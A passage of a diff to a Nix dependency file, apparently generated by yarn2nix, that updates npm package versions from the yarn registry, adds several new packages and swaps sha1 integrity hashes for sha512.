-        sha1 = "7b+JA/ZvfOL46v1s7tZeJkyDGzU=";
+        sha512 = "up04hB2hR92PgjpyU3y/eg91yIBILyjVY26NvvciY3EVVPjybkMszMpXQ9QAkcS3I5rtJBDLoTxxg+qvW8c7rw==";
       };
     }
     {
@@ -3425,11 +3945,11 @@ rec {
       };
     }
     {
-      name = "source_map_url___source_map_url_0.4.0.tgz";
+      name = "source_map_url___source_map_url_0.4.1.tgz";
       path = fetchurl {
-        name = "source_map_url___source_map_url_0.4.0.tgz";
-        url = "https://registry.yarnpkg.com/source-map-url/-/source-map-url-0.4.0.tgz";
-        sha1 = "PpNdfd1zYxuXZZlW1VEo6HtQhKM=";
+        name = "source_map_url___source_map_url_0.4.1.tgz";
+        url = "https://registry.yarnpkg.com/source-map-url/-/source-map-url-0.4.1.tgz";
+        sha512 = "cPiFOTLUKvJFIg4SKVScy4ilPPW6rFgMgfuZJPNoDuMs3nC1HbMUycBoJw77xFIp6z1UJQJOfx6C9GMH80DiTw==";
       };
     }
     {
@@ -3437,23 +3957,23 @@ rec {
       path = fetchurl {
         name = "source_map___source_map_0.5.7.tgz";
         url = "https://registry.yarnpkg.com/source-map/-/source-map-0.5.7.tgz";
-        sha1 = "igOdLRAh0i0eoUyA2OpGi6LvP8w=";
+        sha512 = "LbrmJOMUSdEVxIKvdcJzQC+nQhe8FUZQTXQy6+I75skNgn3OoQ0DZA8YnFa7gp8tqtL3KPf1kmo0R5DoApeSGQ==";
       };
     }
     {
-      name = "spdx_correct___spdx_correct_3.1.0.tgz";
+      name = "spdx_correct___spdx_correct_3.2.0.tgz";
       path = fetchurl {
-        name = "spdx_correct___spdx_correct_3.1.0.tgz";
-        url = "https://registry.yarnpkg.com/spdx-correct/-/spdx-correct-3.1.0.tgz";
-        sha512 = "lr2EZCctC2BNR7j7WzJ2FpDznxky1sjfxvvYEyzxNyb6lZXHODmEoJeFu4JupYlkfha1KZpJyoqiJ7pgA1qq8Q==";
+        name = "spdx_correct___spdx_correct_3.2.0.tgz";
+        url = "https://registry.yarnpkg.com/spdx-correct/-/spdx-correct-3.2.0.tgz";
+        sha512 = "kN9dJbvnySHULIluDHy32WHRUu3Og7B9sbY7tsFLctQkIqnMh3hErYgdMjTYuqmcXX+lK5T1lnUt3G7zNswmZA==";
       };
     }
     {
-      name = "spdx_exceptions___spdx_exceptions_2.3.0.tgz";
+      name = "spdx_exceptions___spdx_exceptions_2.5.0.tgz";
       path = fetchurl {
-        name = "spdx_exceptions___spdx_exceptions_2.3.0.tgz";
-        url = "https://registry.yarnpkg.com/spdx-exceptions/-/spdx-exceptions-2.3.0.tgz";
-        sha512 = "/tTrYOC7PPI1nUAgx34hUpqXuyJG+DTHJTnIULG4rDygi4xu/tfgmq1e1cIRwRzwZgo4NLySi+ricLkZkw4i5A==";
+        name = "spdx_exceptions___spdx_exceptions_2.5.0.tgz";
+        url = "https://registry.yarnpkg.com/spdx-exceptions/-/spdx-exceptions-2.5.0.tgz";
+        sha512 = "PiU42r+xO4UbUS1buo3LPJkjlO7430Xn5SVAhdpzzsPHsjbYVflnnFdATgabnLude+Cqu25p6N+g2lw/PFsa4w==";
       };
     }
     {
@@ -3465,11 +3985,11 @@ rec {
       };
     }
     {
-      name = "spdx_license_ids___spdx_license_ids_3.0.5.tgz";
+      name = "spdx_license_ids___spdx_license_ids_3.0.21.tgz";
       path = fetchurl {
-        name = "spdx_license_ids___spdx_license_ids_3.0.5.tgz";
-        url = "https://registry.yarnpkg.com/spdx-license-ids/-/spdx-license-ids-3.0.5.tgz";
-        sha512 = "J+FWzZoynJEXGphVIS+XEh3kFSjZX/1i9gFBaWQcB+/tmpe2qUsSBABpcxqxnAxFdiUFEgAX1bjYGQvIZmoz9Q==";
+        name = "spdx_license_ids___spdx_license_ids_3.0.21.tgz";
+        url = "https://registry.yarnpkg.com/spdx-license-ids/-/spdx-license-ids-3.0.21.tgz";
+        sha512 = "Bvg/8F5XephndSK3JffaRqdT+gyhfqIPwDHpX80tJrF8QQRYMo8sNMeaZ2Dp5+jhwKnUmIOyFFQfHRkjJm5nXg==";
       };
     }
     {
@@ -3485,15 +4005,15 @@ rec {
       path = fetchurl {
         name = "sprintf_js___sprintf_js_1.0.3.tgz";
         url = "https://registry.yarnpkg.com/sprintf-js/-/sprintf-js-1.0.3.tgz";
-        sha1 = "BOaSb2YolTVPPdAVIDYzuFcpfiw=";
+        sha512 = "D9cPgkvLlV3t3IzL0D0YLvGA9Ahk4PcvVwUbN0dSGr1aP0Nrt4AEnTUbuGvquEC0mA64Gqt1fzirlRs5ibXx8g==";
       };
     }
     {
-      name = "ssri___ssri_10.0.0.tgz";
+      name = "ssri___ssri_10.0.6.tgz";
       path = fetchurl {
-        name = "ssri___ssri_10.0.0.tgz";
-        url = "https://registry.yarnpkg.com/ssri/-/ssri-10.0.0.tgz";
-        sha512 = "64ghGOpqW0k+jh7m5jndBGdVEoPikWwGQmBNN5ks6jyUSMymzHDTlnNHOvzp+6MmHOljr2MokUzvRksnTwG0Iw==";
+        name = "ssri___ssri_10.0.6.tgz";
+        url = "https://registry.yarnpkg.com/ssri/-/ssri-10.0.6.tgz";
+        sha512 = "MGrFH9Z4NP9Iyhqn16sDtBpRRNJ0Y2hNa6D65h736fVSaPCHr4DM4sWUNvVaSuC+0OBGhwsrydQwmgfg5LncqQ==";
       };
     }
     {
@@ -3509,7 +4029,15 @@ rec {
       path = fetchurl {
         name = "static_extend___static_extend_0.1.2.tgz";
         url = "https://registry.yarnpkg.com/static-extend/-/static-extend-0.1.2.tgz";
-        sha1 = "YICcOcv/VTNyJv1eC1IPNB8ftcY=";
+        sha512 = "72E9+uLc27Mt718pMHt9VMNiAL4LMsmDbBva8mxWUCkT07fSzEGMYUCk0XWY6lp0j6RBAG4cJ3mWuZv2OE3s0g==";
+      };
+    }
+    {
+      name = "stop_iteration_iterator___stop_iteration_iterator_1.1.0.tgz";
+      path = fetchurl {
+        name = "stop_iteration_iterator___stop_iteration_iterator_1.1.0.tgz";
+        url = "https://registry.yarnpkg.com/stop-iteration-iterator/-/stop-iteration-iterator-1.1.0.tgz";
+        sha512 = "eLoXW/DHyl62zxY4SCaIgnRhuMr6ri4juEYARS8E6sCEqzKpOiE521Ucofdx+KnDZl5xmvGYaaKCk5FEOxJCoQ==";
       };
     }
     {
@@ -3517,7 +4045,7 @@ rec {
       path = fetchurl {
         name = "string_argv___string_argv_0.0.2.tgz";
         url = "https://registry.yarnpkg.com/string-argv/-/string-argv-0.0.2.tgz";
-        sha1 = "2sMECGkMIfPDYwo/86BYd73L1zY=";
+        sha512 = "p6/Mqq0utTQWUeGMi/m0uBtlLZEwXSY3+mXzeRRqw7fz5ezUb28Wr0R99NlfbWaMmL/jCyT9be4jpn7Yz8IO8w==";
       };
     }
     {
@@ -3525,7 +4053,7 @@ rec {
       path = fetchurl {
         name = "string_width___string_width_1.0.2.tgz";
         url = "https://registry.yarnpkg.com/string-width/-/string-width-1.0.2.tgz";
-        sha1 = "EYvfW4zcUaKn5w0hHgfisLmxB9M=";
+        sha512 = "0XsVpQLnVCXHJfyEs8tC0zpTVIr5PKKsQtkT29IwupnPTjtPmQ3xT/4yCREF9hYkV/3M3kzcUTSAZT6a6h81tw==";
       };
     }
     {
@@ -3545,43 +4073,51 @@ rec {
       };
     }
     {
-      name = "string.prototype.matchall___string.prototype.matchall_4.0.2.tgz";
+      name = "string.prototype.includes___string.prototype.includes_2.0.1.tgz";
       path = fetchurl {
-        name = "string.prototype.matchall___string.prototype.matchall_4.0.2.tgz";
-        url = "https://registry.yarnpkg.com/string.prototype.matchall/-/string.prototype.matchall-4.0.2.tgz";
-        sha512 = "N/jp6O5fMf9os0JU3E72Qhf590RSRZU/ungsL/qJUYVTNv7hTG0P/dbPjxINVN9jpscu3nzYwKESU3P3RY5tOg==";
+        name = "string.prototype.includes___string.prototype.includes_2.0.1.tgz";
+        url = "https://registry.yarnpkg.com/string.prototype.includes/-/string.prototype.includes-2.0.1.tgz";
+        sha512 = "o7+c9bW6zpAdJHTtujeePODAhkuicdAryFsfVKwA+wGw89wJ4GTY484WTucM9hLtDEOpOvI+aHnzqnC5lHp4Rg==";
       };
     }
     {
-      name = "string.prototype.trimend___string.prototype.trimend_1.0.1.tgz";
+      name = "string.prototype.matchall___string.prototype.matchall_4.0.12.tgz";
       path = fetchurl {
-        name = "string.prototype.trimend___string.prototype.trimend_1.0.1.tgz";
-        url = "https://registry.yarnpkg.com/string.prototype.trimend/-/string.prototype.trimend-1.0.1.tgz";
-        sha512 = "LRPxFUaTtpqYsTeNKaFOw3R4bxIzWOnbQ837QfBylo8jIxtcbK/A/sMV7Q+OAV/vWo+7s25pOE10KYSjaSO06g==";
+        name = "string.prototype.matchall___string.prototype.matchall_4.0.12.tgz";
+        url = "https://registry.yarnpkg.com/string.prototype.matchall/-/string.prototype.matchall-4.0.12.tgz";
+        sha512 = "6CC9uyBL+/48dYizRf7H7VAYCMCNTBeM78x/VTUe9bFEaxBepPJDa1Ow99LqI/1yF7kuy7Q3cQsYMrcjGUcskA==";
       };
     }
     {
-      name = "string.prototype.trimleft___string.prototype.trimleft_2.1.2.tgz";
+      name = "string.prototype.repeat___string.prototype.repeat_1.0.0.tgz";
       path = fetchurl {
-        name = "string.prototype.trimleft___string.prototype.trimleft_2.1.2.tgz";
-        url = "https://registry.yarnpkg.com/string.prototype.trimleft/-/string.prototype.trimleft-2.1.2.tgz";
-        sha512 = "gCA0tza1JBvqr3bfAIFJGqfdRTyPae82+KTnm3coDXkZN9wnuW3HjGgN386D7hfv5CHQYCI022/rJPVlqXyHSw==";
+        name = "string.prototype.repeat___string.prototype.repeat_1.0.0.tgz";
+        url = "https://registry.yarnpkg.com/string.prototype.repeat/-/string.prototype.repeat-1.0.0.tgz";
+        sha512 = "0u/TldDbKD8bFCQ/4f5+mNRrXwZ8hg2w7ZR8wa16e8z9XpePWl3eGEcUD0OXpEH/VJH/2G3gjUtR3ZOiBe2S/w==";
       };
     }
     {
-      name = "string.prototype.trimright___string.prototype.trimright_2.1.2.tgz";
+      name = "string.prototype.trim___string.prototype.trim_1.2.10.tgz";
       path = fetchurl {
-        name = "string.prototype.trimright___string.prototype.trimright_2.1.2.tgz";
-        url = "https://registry.yarnpkg.com/string.prototype.trimright/-/string.prototype.trimright-2.1.2.tgz";
-        sha512 = "ZNRQ7sY3KroTaYjRS6EbNiiHrOkjihL9aQE/8gfQ4DtAC/aEBRHFJa44OmoWxGGqXuJlfKkZW4WcXErGr+9ZFg==";
+        name = "string.prototype.trim___string.prototype.trim_1.2.10.tgz";
+        url = "https://registry.yarnpkg.com/string.prototype.trim/-/string.prototype.trim-1.2.10.tgz";
+        sha512 = "Rs66F0P/1kedk5lyYyH9uBzuiI/kNRmwJAR9quK6VOtIpZ2G+hMZd+HQbbv25MgCA6gEffoMZYxlTod4WcdrKA==";
       };
     }
     {
-      name = "string.prototype.trimstart___string.prototype.trimstart_1.0.1.tgz";
+      name = "string.prototype.trimend___string.prototype.trimend_1.0.9.tgz";
       path = fetchurl {
-        name = "string.prototype.trimstart___string.prototype.trimstart_1.0.1.tgz";
-        url = "https://registry.yarnpkg.com/string.prototype.trimstart/-/string.prototype.trimstart-1.0.1.tgz";
-        sha512 = "XxZn+QpvrBI1FOcg6dIpxUPgWCPuNXvMD72aaRaUQv1eD4e/Qy8i/hFTe0BUmD60p/QA6bh1avmuPTfNjqVWRw==";
+        name = "string.prototype.trimend___string.prototype.trimend_1.0.9.tgz";
+        url = "https://registry.yarnpkg.com/string.prototype.trimend/-/string.prototype.trimend-1.0.9.tgz";
+        sha512 = "G7Ok5C6E/j4SGfyLCloXTrngQIQU3PWtXGst3yM7Bea9FRURf1S42ZHlZZtsNque2FN2PoUhfZXYLNWwEr4dLQ==";
+      };
+    }
+    {
+      name = "string.prototype.trimstart___string.prototype.trimstart_1.0.8.tgz";
+      path = fetchurl {
+        name = "string.prototype.trimstart___string.prototype.trimstart_1.0.8.tgz";
+        url = "https://registry.yarnpkg.com/string.prototype.trimstart/-/string.prototype.trimstart-1.0.8.tgz";
+        sha512 = "UXSH262CSZY1tfu3G3Secr6uGLCFVPMhIqHjlgCUtCCcgihYc/xKs9djMTMUOb2j1mVSeU8EU6NWc/iQKU6Gfg==";
       };
     }
     {
@@ -3605,7 +4141,7 @@ rec {
       path = fetchurl {
         name = "strip_ansi___strip_ansi_3.0.1.tgz";
         url = "https://registry.yarnpkg.com/strip-ansi/-/strip-ansi-3.0.1.tgz";
-        sha1 = "ajhfuIU9lS1f8F0Oiq+UJ43GPc8=";
+        sha512 = "VhumSSbBqDTP8p2ZLKj40UjBCV4+v8bUSEpUb4KjRgWk9pbqGF4REFj6KEagidb2f/M6AzC0EmFyDNGaw9OCzg==";
       };
     }
     {
@@ -3613,7 +4149,7 @@ rec {
       path = fetchurl {
         name = "strip_ansi___strip_ansi_4.0.0.tgz";
         url = "https://registry.yarnpkg.com/strip-ansi/-/strip-ansi-4.0.0.tgz";
-        sha1 = "qEeQIusaw2iocTibY1JixQXuNo8=";
+        sha512 = "4XaJ2zQdCzROZDivEVIDPkcQn8LMFSa8kj8Gxb/Lnwzv9A8VctNZ+lfivC/sV3ivW8ElJTERXZoPBRrZKkNKow==";
       };
     }
     {
@@ -3629,7 +4165,7 @@ rec {
       path = fetchurl {
         name = "strip_bom___strip_bom_3.0.0.tgz";
         url = "https://registry.yarnpkg.com/strip-bom/-/strip-bom-3.0.0.tgz";
-        sha1 = "IzTBjpx1n3vdVv3vfprj1YjmjtM=";
+        sha512 = "vavAMRXOgBVNF6nyEEmL3DBK19iRpDcoIwW+swQ+CbGiu7lju6t+JklA1MHweoWtadgt4ISVUsXLyDq34ddcwA==";
       };
     }
     {
@@ -3637,7 +4173,7 @@ rec {
       path = fetchurl {
         name = "strip_eof___strip_eof_1.0.0.tgz";
         url = "https://registry.yarnpkg.com/strip-eof/-/strip-eof-1.0.0.tgz";
-        sha1 = "u0P/VZim6wXYm1n80SnJgzE2Br8=";
+        sha512 = "7FCwGGmx8mD5xQd3RPUvnSpUXHM3BWuzjtpD4TXsfcZ9EL4azvVVUscFYwD9nx8Kh+uCBC00XBtAykoMHwTh8Q==";
       };
     }
     {
@@ -3645,7 +4181,7 @@ rec {
       path = fetchurl {
         name = "strip_json_comments___strip_json_comments_2.0.1.tgz";
         url = "https://registry.yarnpkg.com/strip-json-comments/-/strip-json-comments-2.0.1.tgz";
-        sha1 = "PFMZQukIwml8DsNEhYwobHygpgo=";
+        sha512 = "4gB8na07fecVVkOI6Rs4e7T6NOTki5EmL7TUduTs6bu3EdnSycntVJ4re8kgZA+wx9IueI2Y11bfbgwtzuE0KQ==";
       };
     }
     {
@@ -3653,7 +4189,7 @@ rec {
       path = fetchurl {
         name = "supports_color___supports_color_2.0.0.tgz";
         url = "https://registry.yarnpkg.com/supports-color/-/supports-color-2.0.0.tgz";
-        sha1 = "U10EXOa2Nj+kARcIRimZXp3zJMc=";
+        sha512 = "KKNVtd6pCYgPIKU4cp2733HWYCpplQhddZLBUryaAHou723x+FRzQ5Df824Fj+IyyuiQTRoub4SnIFfIcrp70g==";
       };
     }
     {
@@ -3661,7 +4197,7 @@ rec {
       path = fetchurl {
         name = "supports_color___supports_color_4.5.0.tgz";
         url = "https://registry.yarnpkg.com/supports-color/-/supports-color-4.5.0.tgz";
-        sha1 = "vnoN5ITexcXN34s9WRJQRJEvY1s=";
+        sha512 = "ycQR/UbvI9xIlEdQT1TQqwoXtEldExbCEAJgRo5YXlmSKjv6ThHnP9/vwGa1gr19Gfw+LkFd7KqYMhzrRC5JYw==";
       };
     }
     {
@@ -3672,12 +4208,20 @@ rec {
         sha512 = "QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==";
       };
     }
+    {
+      name = "supports_preserve_symlinks_flag___supports_preserve_symlinks_flag_1.0.0.tgz";
+      path = fetchurl {
+        name = "supports_preserve_symlinks_flag___supports_preserve_symlinks_flag_1.0.0.tgz";
+        url = "https://registry.yarnpkg.com/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz";
+        sha512 = "ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w==";
+      };
+    }
     {
       name = "symbol_observable___symbol_observable_1.0.1.tgz";
       path = fetchurl {
         name = "symbol_observable___symbol_observable_1.0.1.tgz";
         url = "https://registry.yarnpkg.com/symbol-observable/-/symbol-observable-1.0.1.tgz";
-        sha1 = "g0D8RwLDEi310iKI+IKD9RPT/dQ=";
+        sha512 = "Kb3PrPYz4HanVF1LVGuAdW6LoVgIwjUYJGzFe7NDrBLCN4lsV/5J0MFurV+ygS4bRVwrCEt2c7MQ1R2a72oJDw==";
       };
     }
     {
@@ -3689,11 +4233,11 @@ rec {
       };
     }
     {
-      name = "synchronous_promise___synchronous_promise_2.0.12.tgz";
+      name = "synchronous_promise___synchronous_promise_2.0.17.tgz";
       path = fetchurl {
-        name = "synchronous_promise___synchronous_promise_2.0.12.tgz";
-        url = "https://registry.yarnpkg.com/synchronous-promise/-/synchronous-promise-2.0.12.tgz";
-        sha512 = "rIDJiHmIK02tXU+eW1v6a7rNIIiMLm5JUF5Uj2fT6oLSulg7WNDVoqvkYqkFoJzf4v2gmTLppvzegdo9R+7h1Q==";
+        name = "synchronous_promise___synchronous_promise_2.0.17.tgz";
+        url = "https://registry.yarnpkg.com/synchronous-promise/-/synchronous-promise-2.0.17.tgz";
+        sha512 = "AsS729u2RHUfEra9xJrE39peJcc2stq2+poBXX8bcM08Y6g9j/i/PUzwNQqkaJde7Ntg1TO7bSREbR5sdosQ+g==";
       };
     }
     {
@@ -3717,7 +4261,7 @@ rec {
       path = fetchurl {
         name = "text_table___text_table_0.2.0.tgz";
         url = "https://registry.yarnpkg.com/text-table/-/text-table-0.2.0.tgz";
-        sha1 = "f17oI66AUgfACvLfSoTsP8+lcLQ=";
+        sha512 = "N+8UisAXDGk8PFXP4HAzVR9nbfmVJ3zYLAWiTIoqC5v5isinhr+r5uaO8+7r3BMfuNIufIsA7RdpVgacC2cSpw==";
       };
     }
     {
@@ -3725,7 +4269,7 @@ rec {
       path = fetchurl {
         name = "through___through_2.3.8.tgz";
         url = "https://registry.yarnpkg.com/through/-/through-2.3.8.tgz";
-        sha1 = "DdTJ/6q8NXlgsbckEV1+Doai4fU=";
+        sha512 = "w89qg7PI8wAdvX60bMDP+bFoD5Dvhm9oLheFp5O4a2QF0cSBGsBX4qZmadPMvVqlLJBBci+WqGGOAPvcDeNSVg==";
       };
     }
     {
@@ -3736,20 +4280,12 @@ rec {
         sha512 = "jRCJlojKnZ3addtTOjdIqoRuPEKBvNXcGYqzO6zWZX8KfKEpnGY5jfggJQ3EjKuu8D4bJRr0y+cYJFmYbImXGw==";
       };
     }
-    {
-      name = "to_fast_properties___to_fast_properties_2.0.0.tgz";
-      path = fetchurl {
-        name = "to_fast_properties___to_fast_properties_2.0.0.tgz";
-        url = "https://registry.yarnpkg.com/to-fast-properties/-/to-fast-properties-2.0.0.tgz";
-        sha1 = "3F5pjL0HkmW8c+A3doGk5Og/YW4=";
-      };
-    }
     {
       name = "to_object_path___to_object_path_0.3.0.tgz";
       path = fetchurl {
         name = "to_object_path___to_object_path_0.3.0.tgz";
         url = "https://registry.yarnpkg.com/to-object-path/-/to-object-path-0.3.0.tgz";
-        sha1 = "KXWIt7Dn4KwI4E5nL4XB9JmeF68=";
+        sha512 = "9mWHdnGRuh3onocaHzukyvCZhzvr6tiflAy/JRFXcJX0TjgfWA9pk9t8CMbzmBE4Jfw58pXbkngtBtqYxzNEyg==";
       };
     }
     {
@@ -3757,7 +4293,7 @@ rec {
       path = fetchurl {
         name = "to_regex_range___to_regex_range_2.1.1.tgz";
         url = "https://registry.yarnpkg.com/to-regex-range/-/to-regex-range-2.1.1.tgz";
-        sha1 = "fIDBe53+vlmeJzZ+DU3VWQFB2zg=";
+        sha512 = "ZZWNfCjUokXXDGXFpZehJIkZqq91BcULFq/Pi7M5i4JnxXdhMKAK682z8bCW3o8Hj1wuuzoKcW3DfVzaP6VuNg==";
       };
     }
     {
@@ -3773,15 +4309,23 @@ rec {
       path = fetchurl {
         name = "toposort___toposort_2.0.2.tgz";
         url = "https://registry.yarnpkg.com/toposort/-/toposort-2.0.2.tgz";
-        sha1 = "riF2gXXRVZ1IvvNUILL0li8JwzA=";
+        sha512 = "0a5EOkAUp8D4moMi2W8ZF8jcga7BgZd91O/yabJCFY8az+XSzeGyTKs0Aoo897iV1Nj6guFq8orWDS96z91oGg==";
       };
     }
     {
-      name = "tslib___tslib_1.13.0.tgz";
+      name = "tsconfig_paths___tsconfig_paths_3.15.0.tgz";
       path = fetchurl {
-        name = "tslib___tslib_1.13.0.tgz";
-        url = "https://registry.yarnpkg.com/tslib/-/tslib-1.13.0.tgz";
-        sha512 = "i/6DQjL8Xf3be4K/E6Wgpekn5Qasl1usyw++dAA35Ue5orEn65VIxOA+YvNNl9HV3qv70T7CNwjODHZrLwvd1Q==";
+        name = "tsconfig_paths___tsconfig_paths_3.15.0.tgz";
+        url = "https://registry.yarnpkg.com/tsconfig-paths/-/tsconfig-paths-3.15.0.tgz";
+        sha512 = "2Ac2RgzDe/cn48GvOe3M+o82pEFewD3UPbyoUHHdKasHwJKjds4fLXWf/Ux5kATBKN20oaFGu+jbElp1pos0mg==";
+      };
+    }
+    {
+      name = "tslib___tslib_1.14.1.tgz";
+      path = fetchurl {
+        name = "tslib___tslib_1.14.1.tgz";
+        url = "https://registry.yarnpkg.com/tslib/-/tslib-1.14.1.tgz";
+        sha512 = "Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg==";
       };
     }
     {
@@ -3789,7 +4333,39 @@ rec {
       path = fetchurl {
         name = "type_check___type_check_0.3.2.tgz";
         url = "https://registry.yarnpkg.com/type-check/-/type-check-0.3.2.tgz";
-        sha1 = "WITKtRLPHTVeP7eE8wgEsrUg23I=";
+        sha512 = "ZCmOJdvOWDBYJlzAoFkC+Q0+bUyEOS1ltgp1MGU03fqHG+dbi9tBFU2Rd9QKiDZFAYrhPh2JUf7rZRIuHRKtOg==";
+      };
+    }
+    {
+      name = "typed_array_buffer___typed_array_buffer_1.0.3.tgz";
+      path = fetchurl {
+        name = "typed_array_buffer___typed_array_buffer_1.0.3.tgz";
+        url = "https://registry.yarnpkg.com/typed-array-buffer/-/typed-array-buffer-1.0.3.tgz";
+        sha512 = "nAYYwfY3qnzX30IkA6AQZjVbtK6duGontcQm1WSG1MD94YLqK0515GNApXkoxKOWMusVssAHWLh9SeaoefYFGw==";
+      };
+    }
+    {
+      name = "typed_array_byte_length___typed_array_byte_length_1.0.3.tgz";
+      path = fetchurl {
+        name = "typed_array_byte_length___typed_array_byte_length_1.0.3.tgz";
+        url = "https://registry.yarnpkg.com/typed-array-byte-length/-/typed-array-byte-length-1.0.3.tgz";
+        sha512 = "BaXgOuIxz8n8pIq3e7Atg/7s+DpiYrxn4vdot3w9KbnBhcRQq6o3xemQdIfynqSeXeDrF32x+WvfzmOjPiY9lg==";
+      };
+    }
+    {
+      name = "typed_array_byte_offset___typed_array_byte_offset_1.0.4.tgz";
+      path = fetchurl {
+        name = "typed_array_byte_offset___typed_array_byte_offset_1.0.4.tgz";
+        url = "https://registry.yarnpkg.com/typed-array-byte-offset/-/typed-array-byte-offset-1.0.4.tgz";
+        sha512 = "bTlAFB/FBYMcuX81gbL4OcpH5PmlFHqlCCpAl8AlEzMz5k53oNDvN8p1PNOWLEmI2x4orp3raOFB51tv9X+MFQ==";
+      };
+    }
+    {
+      name = "typed_array_length___typed_array_length_1.0.7.tgz";
+      path = fetchurl {
+        name = "typed_array_length___typed_array_length_1.0.7.tgz";
+        url = "https://registry.yarnpkg.com/typed-array-length/-/typed-array-length-1.0.7.tgz";
+        sha512 = "3KS2b+kL7fsuk/eJZ7EQdnEmQoaho/r6KUef7hxvltNA5DR8NAUM+8wJMbJyZ4G9/7i3v5zPBIMN5aybAh2/Jg==";
       };
     }
     {
@@ -3797,7 +4373,7 @@ rec {
       path = fetchurl {
         name = "typedarray___typedarray_0.0.6.tgz";
         url = "https://registry.yarnpkg.com/typedarray/-/typedarray-0.0.6.tgz";
-        sha1 = "hnrHTjhkGHsdPUfZlqeOxciDB3c=";
+        sha512 = "/aCDEGatGvZ2BIk+HmLf4ifCJFwvKFNb9/JeZPMulfgFracn9QFcAf5GO8B/mweUjSoblS5In0cWhqpfs/5PQA==";
       };
     }
     {
@@ -3816,6 +4392,14 @@ rec {
         sha512 = "Gr4p6nFNaoufRIY4NMdpQRNmgxVIGMs4Fcu/ujdYk3nAZqk7supzBE9idmvfZIlH/Cuj//dvi+019qEue9lV0w==";
       };
     }
+    {
+      name = "unbox_primitive___unbox_primitive_1.1.0.tgz";
+      path = fetchurl {
+        name = "unbox_primitive___unbox_primitive_1.1.0.tgz";
+        url = "https://registry.yarnpkg.com/unbox-primitive/-/unbox-primitive-1.1.0.tgz";
+        sha512 = "nWJ91DjeOkej/TA8pXQ3myruKpKEYgqvpw9lz4OPHj/NWFNluYrjbz9j01CJ8yKQd2g4jFoOkINCTW2I5LEEyw==";
+      };
+    }
     {
       name = "union_value___union_value_1.0.1.tgz";
       path = fetchurl {
@@ -3829,15 +4413,15 @@ rec {
       path = fetchurl {
         name = "unset_value___unset_value_1.0.0.tgz";
         url = "https://registry.yarnpkg.com/unset-value/-/unset-value-1.0.0.tgz";
-        sha1 = "g3aHP30jNRef+x5vw6jtDfyKtVk=";
+        sha512 = "PcA2tsuGSF9cnySLHTLSh2qrQiJ70mn+r+Glzxv2TWZblxsxCC52BDlZoPCsz7STd9pN7EZetkWZBAvk4cgZdQ==";
       };
     }
     {
-      name = "uri_js___uri_js_4.2.2.tgz";
+      name = "uri_js___uri_js_4.4.1.tgz";
       path = fetchurl {
-        name = "uri_js___uri_js_4.2.2.tgz";
-        url = "https://registry.yarnpkg.com/uri-js/-/uri-js-4.2.2.tgz";
-        sha512 = "KY9Frmirql91X2Qgjry0Wd4Y+YTdrdZheS8TFwvkbLWf/G5KNJDCh6pKL5OZctEW4+0Baa5idK2ZQuELRwPznQ==";
+        name = "uri_js___uri_js_4.4.1.tgz";
+        url = "https://registry.yarnpkg.com/uri-js/-/uri-js-4.4.1.tgz";
+        sha512 = "7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==";
       };
     }
     {
@@ -3845,7 +4429,7 @@ rec {
       path = fetchurl {
         name = "urix___urix_0.1.0.tgz";
         url = "https://registry.yarnpkg.com/urix/-/urix-0.1.0.tgz";
-        sha1 = "2pN/emLiH+wf0Y1Js1wpNQZ6bHI=";
+        sha512 = "Am1ousAhSLBeB9cG/7k7r2R0zj50uDRlZHPGbazid5s9rlF1F/QKYObEKSIunSjIOkJZqwRRLpvewjEkM7pSqg==";
       };
     }
     {
@@ -3861,7 +4445,7 @@ rec {
       path = fetchurl {
         name = "util_deprecate___util_deprecate_1.0.2.tgz";
         url = "https://registry.yarnpkg.com/util-deprecate/-/util-deprecate-1.0.2.tgz";
-        sha1 = "RQ1Nyfpw3nMnYvvS1KKJgUGaDM8=";
+        sha512 = "EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==";
       };
     }
     {
@@ -3881,11 +4465,43 @@ rec {
       };
     }
     {
-      name = "which_module___which_module_2.0.0.tgz";
+      name = "which_boxed_primitive___which_boxed_primitive_1.1.1.tgz";
       path = fetchurl {
-        name = "which_module___which_module_2.0.0.tgz";
-        url = "https://registry.yarnpkg.com/which-module/-/which-module-2.0.0.tgz";
-        sha1 = "2e8H3Od7mQK4o6j6SzHD4/fm6Ho=";
+        name = "which_boxed_primitive___which_boxed_primitive_1.1.1.tgz";
+        url = "https://registry.yarnpkg.com/which-boxed-primitive/-/which-boxed-primitive-1.1.1.tgz";
+        sha512 = "TbX3mj8n0odCBFVlY8AxkqcHASw3L60jIuF8jFP78az3C2YhmGvqbHBpAjTRH2/xqYunrJ9g1jSyjCjpoWzIAA==";
+      };
+    }
+    {
+      name = "which_builtin_type___which_builtin_type_1.2.1.tgz";
+      path = fetchurl {
+        name = "which_builtin_type___which_builtin_type_1.2.1.tgz";
+        url = "https://registry.yarnpkg.com/which-builtin-type/-/which-builtin-type-1.2.1.tgz";
+        sha512 = "6iBczoX+kDQ7a3+YJBnh3T+KZRxM/iYNPXicqk66/Qfm1b93iu+yOImkg0zHbj5LNOcNv1TEADiZ0xa34B4q6Q==";
+      };
+    }
+    {
+      name = "which_collection___which_collection_1.0.2.tgz";
+      path = fetchurl {
+        name = "which_collection___which_collection_1.0.2.tgz";
+        url = "https://registry.yarnpkg.com/which-collection/-/which-collection-1.0.2.tgz";
+        sha512 = "K4jVyjnBdgvc86Y6BkaLZEN933SwYOuBFkdmBu9ZfkcAbdVbpITnDmjvZ/aQjRXQrv5EPkTnD1s39GiiqbngCw==";
+      };
+    }
+    {
+      name = "which_module___which_module_2.0.1.tgz";
+      path = fetchurl {
+        name = "which_module___which_module_2.0.1.tgz";
+        url = "https://registry.yarnpkg.com/which-module/-/which-module-2.0.1.tgz";
